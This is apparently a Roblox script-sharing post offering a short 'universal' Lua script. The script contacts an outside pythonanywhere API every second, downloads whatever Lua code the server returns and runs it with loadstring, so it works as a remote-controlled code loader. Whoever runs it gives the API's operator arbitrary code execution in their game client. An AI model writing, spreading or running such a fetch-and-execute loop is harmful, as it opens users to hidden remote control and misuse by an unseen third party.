
Key Required VerifiedUniversal

local apiURL = "https://iknoxteam.pythonanywhere.com/api"
local lastCodeID = nil
local function pingAPI()
local success, result = pcall(function()
return game:HttpGet(apiURL)
end)
if success then
local jsonData = game:GetService("HttpService"):JSONDecode(result)
if #jsonData >= 2 then
local codeID = jsonData[1]
local codeToRun = jsonData[2]
if codeID ~= lastCodeID then
lastCodeID = codeID
local function isValidCode(code)
local func, err = loadstring(code)
if not func then
return false, err
end
return true
end
local isValid, errorMessage = isValidCode(codeToRun)
if isValid then
local successLoad, loadError = pcall(function()
print("[WEB]: Code received executed!")
loadstring(codeToRun)()
end)
if not successLoad then
print("[WEB]: Error executing received code: " .. loadError)
end
else
warn("[WEB]: Invalid Lua code received: " .. errorMessage)
end
end
else
warn("[WEB]: Invalid JSON format received.")
end
else
warn("Failed to fetch API: " .. tostring(result))
end
end
while task.wait(1) do
pingAPI()
end



Ofc made by me and insipred by bat